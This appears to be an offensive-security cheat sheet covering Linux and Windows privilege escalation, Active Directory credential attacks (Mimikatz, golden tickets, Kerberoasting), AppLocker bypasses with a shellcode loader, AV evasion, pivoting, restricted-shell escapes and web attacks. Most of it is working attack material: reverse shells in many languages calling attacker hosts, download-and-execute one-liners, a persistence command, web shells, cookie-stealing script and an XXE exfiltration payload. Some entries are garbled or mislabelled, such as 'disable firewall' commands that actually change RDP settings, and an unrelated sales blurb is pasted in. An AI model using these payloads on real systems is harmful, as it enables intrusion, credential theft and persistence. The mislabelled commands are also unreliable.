Cheats

SQL Bypass Login

USER:

  • ' or 1=1--
  • " or 1=1--
  • or 1=1--
  • 'or 'a'='a
  • " or "a"="a
  • ') pr ('a'='a
  • ") or ("a"="a

PASS: password


username: '-

password: '


username: '-0||'

password: 1


HACKING NOTES

========================================

|  FIND COMMANDS THAT ARE EXPLOITABLE       |

========================================

find / -user root -perm -4000 -exec ls -ldb {} \;

or

find / -user root -perm -4000 -print 2>/dev/null


find / -perm +2000 -user root -type f -print


========================================

|              EXPLOIT THOSE COMMANDS                 |

========================================

VIM:

---------------------------------------

vim.tiny /etc/shadow


vim.tiny

# Press ESC key

:set shell=/bin/sh

:shell


vim.basic /root/.bashrc

(Create a ROOT shell)


vim.basic /etc/sudoers

(Reads file as ROOT)


---------------------------------------

NMAP:                                 |

---------------------------------------

nmap --interactive


---------------------------------------

FIND:                                 |

---------------------------------------

touch pentestlab

find pentestlab -exec whoami \;


find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;

Connecting into the opened port will give a root shell.

----------------------------------------------------------

netcat 192.168.1.189 5555

id

cat /etc/sh


---------------------------------------

BASH:                                 |

---------------------------------------

bash -p


---------------------------------------

LESS:                                 |

---------------------------------------

less /etc/passwd

!/bin/sh


---------------------------------------

CP:                              |

---------------------------------------

which cp

ls -al /bin/cp

chmod u+s /bin/cp


Spawn TTY Shell

python -c 'import pty; pty.spawn("/bin/sh")'


echo os.system('/bin/bash')


/bin/sh -i


perl —e 'exec "/bin/sh";'


perl: exec "/bin/sh";


ruby: exec "/bin/sh"


lua: os.execute('/bin/sh')


(From within IRB)

exec "/bin/sh"


(From within vi)

:!bash


(From within vi)

:set shell=/bin/bash:shell


(From within nmap)

!sh


PowerShell

Port Scan:

0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("192.168.0.1",$_)) "Port $_ is open!"} 2>$null


Authenticate with pscredential:

Import-Module .\PowerView.ps1
$sec = ConvertTo.SecureString '<password>' -AsPlainText -Force
$cred = New.Object System.Management.Automation.PSCredential('<username>',$sec)

Invoke command on remote host:

Invoke-Command -ComputerName <target> -Credential $cred -ScriptBlock { whoami }

Decrypt secure string:

[System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR(<string>))

Compact for-loop:

1,2,3,4 | % {write-host $_}

Scan selected ports:

22,53,80,443,445 | % { Test-Connection -ComputerName <ip> -Port $_ }

Unzip:

Add-Type -assembly 'system.io.compression.filesystem';[io.compression.zipfile]::ExtractToDirectory("<archive path>","<target dir>")

Check for hidden streams:

Get-Item -Stream * <path>

Credentials

Check for stored credentials:

cmdkey /list

Use stored credentials:

runas /user:administrator /savecred "cmd.exe /k whoami"


Use smb credentials:

python2 /usr/bin/smbclient.py <Domain>/<user>@<ip> -hashes <part1>:<part2>
auxiliary/scanner/smb/smb_login  
crackmapexec <ip(s)> -d <domain> -u <user> -p <pass>
exploit/windows/smb/psexec
net use z: \\<ip>\c$ /user:<username> <password>

Get hash as domain admin (kiwi):

dsync_ntlm <domain>\\<user>

Create golden ticket (kiwi):

golden_ticket_create -d <domain> -k <krbtgt hash> -s <domain-sid> -u <name, does not have to exist (but can)> -t <filename>

Use golden ticket (kiwi):

kerberos_ticket_use <filename>

Dump domain hashes with dcsync:

log
lsadump::dcsync /domain:<domain> /all /csv

Create golden ticket:

kerberos::golden /user:<name> /domain: <domain> /sid:<domain-sid>  /krbtgt:<krbtgt hash> /ticket:<filename> /groups:<comma seperated groups this 'virtual' user is part of

Use golden ticket:

kerberos::ptt <filename>

Certs and Services

Keys and signing


Create Key and Certificate Signing Request:


openssl req -newkey rsa:4096 -keyout <user key> -out <user csr> -nodes -days 365 -subj "/CN=<name>"`


Sign csr with ca:

openssl x509 -req -in <user csr> -CA <ca cert> -CAkey <ca key> -out <signed user cert> -set_serial 01 -days 365


Convert to pkcs12 for use in browsers as client certificate:

openssl pkcs12 -export -clcerts -in <signed user cert> -inkey <user key> -out <user>.p12


Services

Check for running services:

sc query
sc query <name>
sc qc <name>
reg query HKLM\SYSTEM\CurrentControlSet\Services

Soft & Hardlinks


Create Softlink (Junction):

mklink /j <name> <target>

Create Hardlink to file:

mklink /h <name> <target>

List all links of a given file:

fsutil.exe hardlink list <filename>


Privilege Escalation

PowerUp:

IEX(New-Object Net.WebClient).downloadString('<url>/PowerUp.ps1') ;Invoke-AllChecks

Mimikatz:

IEX(New-Object Net.WebClient).downloadString('<url>/MimiKatz.ps1') ;Invoke-Mimikatz -DumpCreds

Unquoted Service Paths:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

Kerberoast:

To begin make sure Port 88 is available (port forward if needed).  Also make sure your time + timezone and the targets time are in sync,  kerberos is very time sensitive. You can view the time on windows with tzdate /g

First get SPNs with one of the following techniques:

Remote via Impacket:

GetUserSPNs.py -request -dc-ip <ip> <domain>/<user>

Local via setspn.exe:

Add-Type -AssemblyName System.IdentityModel  
setspn.exe -T <domain> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }  

Local via Powershell:

Add-Type -AssemblyName System.IdentityModel  
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/<user>.<domain>"  

Local via PowerSploit:

powershell.exe -Command 'IEX (New-Object Net.Webclient).DownloadString("http://<ip>:<port>/Invoke-Kerberoast.ps1");Invoke-Kerberoast -OutputFormat Hashcat

The result of this step will be the hash of a kerberos ticket. It can directly be cracked with hashcat64.exe -m 13100 roasted.hash <wordlist>.

Kerberos ticket export oneliner:

powershell.exe -exec bypass IEX (New-Object) Net.WebClient).DownloadString('<url to MimiKatz.ps1>'); Invoke-Mimikatz -Command "kerberos::list /export"

Juicy potato (metasploit), more details here:

use windows/local/ms16_075_reflection_juicy`
set SESSION <>
set CLSID <>

Powerview

All kinds of useful domain related commands.

List domain users in PowerView:

Get-DomainUser -Credential $cred -DomainController <dc>
Get-DomainUser -Credential $cred -DomainController <dc> | select samAccountName, logoncount, lastlogon


========================================================


AppLocker Bypass MSBuild

Multistep process to bypass applocker via MSBuild.exe:

Generate payload for msbuild in csharp output format:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> -f csharp -e x86/shikata_ga_nai -i <num of iterations> > <out>.cs`

Put the buffer into the template (be sure to change payload buffer, buffer size and some strings for av evasion:

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
 <!-- This inline task executes shellcode. -->
 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
 <!-- Save This File And Execute The Above Command -->
 <!-- Author: Casey Smith, Twitter: @subTee -->
 <!-- License: BSD 3-Clause -->
 <Target Name="Hello">
   <ClassExample />
 </Target>
 <UsingTask
   TaskName="ClassExample"
   TaskFactory="CodeTaskFactory"
   AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
   <Task>
   
     <Code Type="Class" Language="cs">
     <![CDATA[
       using System;
       using System.Runtime.InteropServices;
       using Microsoft.Build.Framework;
       using Microsoft.Build.Utilities;
       public class ClassExample :  Task, ITask
       {         
         private static UInt32 MEM_COMMIT = 0x1000;          
         private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
         [DllImport("kernel32")]
           private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
           UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
         [DllImport("kernel32")]
           private static extern IntPtr CreateThread(            
           UInt32 lpThreadAttributes,
           UInt32 dwStackSize,
           UInt32 lpStartAddress,
           IntPtr param,
           UInt32 dwCreationFlags,
           ref UInt32 lpThreadId           
           );
         [DllImport("kernel32")]
           private static extern UInt32 WaitForSingleObject(           
           IntPtr hHandle,
           UInt32 dwMilliseconds
           );          
         public override bool Execute()
         {
           byte[] shellcode = new byte[195] {};
             
             UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
               MEM_COMMIT, PAGE_EXECUTE_READWRITE);
             Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
             IntPtr hThread = IntPtr.Zero;
             UInt32 threadId = 0;
             IntPtr pinfo = IntPtr.Zero;
             hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
             WaitForSingleObject(hThread, 0xFFFFFFFF);
             return true;
         }
       }     
     ]]>
     </Code>
   </Task>
 </UsingTask>
</Project>

Download & Execute:

Invoke-WebRequest "http://<ip>:<port>/<payload>.csproj" -OutFile "<outfile>.csproj"; C:\windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe .\<outfile>.csproj

AppLocker Bypass COR Profile

Create a dll payload like this reverse shell and run:

set COR_ENABLE_PROFILING=1
COR_PROFILER={cf0d821e-299b-5307-a3d8-b283c03916db}
set COR_PROFILER_PATH=<path>/pwn.dll
tzsync

AV Evasion

Shelter https://www.shellterproject.com/download/ can inject  shellcode into legit 32-Bit Executables and is likely to not get  detected.


Meterpreter

Get Powershell in meterpreter session:

load powershell
powershell_shell

Get persistence:

run persistence -U -i 60 -p <LPORT> -r <LHOST>


Common Exploits

Interesting Reads

Firewall


List rules:

netsh advfirewall firewall show rule name=all

Disable Firewall on Windows 7 via cmd:

Reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurentControlSet\Control\Terminal Server"  /v fDenyTSConnections /t REG_DWORD /d 0 /f

Disable Firewall on Windows 7 via Powershell:

powershell.exe -ExecutionPolicy Bypass -command 'Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fDenyTSConnections" –Value'`

File Transfer


Download Powershell script and execute without touching disk:

IEX(New-Object Net.WebClient).downloadString('<url>/<payload>') ;<methodName>

Download to file:

Invoke-WebRequest "http://<ip>:<port>/<in file>" -OutFile "<out file>"

PrivEsc

Running a holiday sale or weekly special? Definitely promote it here to get customers excited about getting a sweet deal.

LINUX STUFF

General


Get capabilities:


/sbin/getcap -r / 2>/dev/null


Get suid binaries:


find / -perm -u=s -type f 2>/dev/null


Check sudo configuration:


sudo -l

cat /etc/sudoers


Check open files on linux:


fuser <filename>

lsof <filename>


Check for unmounted disks on linux:


ls /dev


Bash port scan:


for p in {1..65535}; do echo hi > /dev/tcp/<ip>/$p && echo port $p is open > scan 2>/dev/null; done 


Using gateway finder to detect rogue gateways:


arp-scan -l | tee <name>.txt

python gateway-finder.py -f arp.txt -i <public ip>


Mount vmdk file:


modprobe nbd

qemu-nbd -r -c /dev/nbd2 <name>.vmdk

mount /dev/nbd1p1 /mnt


Pivoting


Meterpreter port forwarding (inside session):


portfwd add -l <localport> -p <remoteport> -r <target host>


SSH static port forwarding (single port, execute on attacker):


ssh <user>@<target> -L 127.0.0.1:8888:<targetip>:<targetport>


SSH Dynamic Port Forwarding (execute on attacker):


ssh -D <localport> user@host


SSH Remote forwarding (execute on victim)


ssh -r -R <lport>:<ip>:<rport> user@attacker


Configure proxychains (just change last line):

```bash

socks4  <ip> <port>


Use proxychains:


proxychains -f pivot.conf <tool> <params>


SSH Jumphosts (port forwarding through multiple hosts):


ssh -J jumpuser1@jumphost1,jumpuser2@jumphost2,...,jumpuserN@jumphostN user@host


Socat example, redirect connection on 5000 to :5001


./socat tcp-listen:5000,reuseaddr,fork tcp:<target ip>:5001


LD_PRELOAD


Check if you can write into the path of privileged binaries, you might be able to abuse the library load order Check wich functions a binary uses via objectdump -T. To use these preload attacks with sudo in /etc/sudoers there must be env_keep += LD_PRELOAD


Preload example payload:


#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void _init() {

unsetenv("LD_PRELOAD");

setgid(0);

setuid(0);

system("/bin/sh");

}


Compile preload example payload:


gcc -fPIC -shared -o payload.so payload.c -nostartfiles

sudo LD_PRELOAD=/tmp/payload.so <target>


When playing with the linker configs run ldconfig afterwards or it wont update the linker cache.

Abusing Common Tools


A nice collection of abusable tools can be found at gtfobins.

Abusing Tar


If tar is allowed in sudoers with a wildcard command we can abuse that for privilege escalation. Filenames will be interpreted as command line arguments therefore we can create the following setup:


-rw-r–r–. 1 xxx xxx 0 Oct 28 19:19 –checkpoint=1

-rw-r–r–. 1 xxx xxx 0 Oct 28 19:17 –checkpoint-action=exec=sh payload.sh

-rwxr-xr-x. 1 xxx xxx 12 Oct 28 19:17 payload.sh


To create the files use:


echo "chmod u+s /usr/bin/find" > payload.sh

echo "" > "--checkpoint-action=exec=sh payload.sh"

echo "" > --checkpoint=1


Using find as the payload has the charm that we can execute commands via find f1 -exec "whoami" \; (file f1 must exist)

Abusing TCPDump


With -z you can execute commands via TCPDump.

Abusing OpenSSL


Openssl can read files and write into files via network. So it can be used for exfil and infil of Data. In addition a bind or reverse shell can be implemented via OpenSSL, e.g.:


openssl.exe s_client -quiet -connect <ip>:<port> | cmd.exe | openssl.exe s_client -quiet -connect <ip>:<port>`


Rsync


If permissions allow it one can get RCE with RSync by overwriting the cronjobs file.


* * * * * root perl -e 'use Socket;$i="<ip>";$p=<port>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};   


NFS Shares


When mounting nfs-shares with mount <ip>:/<path> <folder> you can impersonate users by running the command with a local user that has the uid you want to use on target box, as it just matches the uids when checking for permissions.

Interesting Reads


    Privilege escalation using LD_PRELOAD

    Linux privilege escalation using shared libraries

    Abusing Shared Libraries


Reverse Shells Section

Reverse Shells

Bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

perl  -e 'use  Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh  -i");};'

Python

python  -c 'import  socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1);  os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

nc -e /bin/sh 10.0.0.1 1234

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Java

r = Runtime.getRuntime()

p  = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat  <&5 | while read line; do \$line 2>&5 >&5; done"]  as String[])

p.waitFor()

Shell Pop

shellpop --reverse --number 5 --host <interface> --port <port>

Open SSL

openssl.exe s_client -quiet -connect <ip>:<port> | cmd.exe | openssl.exe s_client -quiet -connect 10.10.14.11 8089

PowerShell

$client  = New-Object  System.Net.Sockets.TCPClient("<ip>",<port>);$stream =  $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =  $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object  -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback =  (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " +  (pwd).Path + "> ";$sendbyte =  ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

xTerm

xterm -display 10.0.0.1:1

Web Shells

ASPX

 <%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%> 

ASP

CMD.asp

p0wny

p0wny_shell

DLL Shell

dll.cpp

ShellPop

ShellPop

Set UID Shell

 int main()
{
  setuid(geteuid());
  system("/bin/bash");
  return 0;


More Shells


Spawn TTY Shell

Python:

python -c 'import pty; pty.spawn("/bin/sh")'

echo os.system('/bin/bash')

Bash:

/bin/sh -i

Perl:

perl -e 'exec "/bin/sh";'

perl: exec "/bin/sh";

Ruby:

ruby: exec "/bin/sh"

LUA:

lua: os.execute('/bin/sh')

(From within IRB)

exec "/bin/sh"

(From within vi)

:!bash

(From within vi)

:set shell=/bin/bash:shell

(From within nmap)

!sh


Web App Cheats

General

Retrieve PHP source via filter:

index.php?m=php://filter/convert.base64-encode/resource=index

Steal cookies:

<script src='http://<attackerip>/attacker.js'></script>

function addImg(){

    var img = document.createElement('img');

    img.src = 'http://<attackerip>/' + document.cookie;

    document.body.appendChild(img);

}

addImg();

-------------------------------------------------------------------------------------------------------

XXE

Common XXE (sends file on target system to us):

<?xml version="1.0"?>

<!DOCTYPE xct[

<!ELEMENT xct ANY>

<!ENTITY % dtd SYSTEM "http://<attackerip>/payload.dtd">

%dtd;]>

<xct></xct>

<!ENTITY % file SYSTEM "file:///etc/passwd">

<!ENTITY % all "<!ENTITY send SYSTEM 'http://<attackerip>/collect=%file'>">

%all 

Instead of File we could also use php://filter here. You probably want to script this for enumerating a target.


Escaping Shellcatraz

Braking out of Shellcatraz Recon

======================================

|   BREAKING OUT OF SHELLCATRAZ      |

======================================

Run env to see the exported environment variables.

echo $PATH 

(Find out what path is giving you commands)

echo $SHELL

(Find out what terminal shell you are in)

=========================================

QUICK ESCAPES

=========================================

- If / is allowed in commands break out by doing

/bin/bash or /bin/sh

- If you can set PATH or SHELL variables do the below

export PATH=/bin:/usr/bin:$PATH

export SHELL=/bin/sh

- If you can copy files to the existing path do

cp /bin/sh /some/dir/from/PATH; sh

==========================================

BYPASS USING ANOTHER SERVICE

==========================================

ftp --> !/bin/sh

gdb --> !/bin/sh

more / less / man --> !/bin/sh

vi / vim --> :!/bin/sh

scp --> scp -S /tmp/GetMeOut.sh x y:

awk --> awk 'BEGIN {system("/bin/sh")}'

find --> find / -name someName -exec /bin/sh \;

==========================================

GO IN WITH OUTSIDE HELP

==========================================

ssh restricted@10.10.10.122 -t "/bin/sh"

ssh restricted@10.10.10.123 -t "bash --noprofile"

ssh restricted@10.10.10.124 -t "() { :; }; /bin/bash"

==========================================

INVOKE SHELL THROUGH SCRIPTING LANG

==========================================

python -c 'import os; os.system("/bin/bash")'

perl -e 'exec "/bin/sh";'

echo 'Malicious code' | tee scripts.sh

==========================================

HISTORY FILE TRICK

==========================================

Set HISTFILE variable to a file you want to overwrite

Set HISTSIZE variable to 0 and then immediately to 100

Execute lines that you want written to the file

Log out and log back in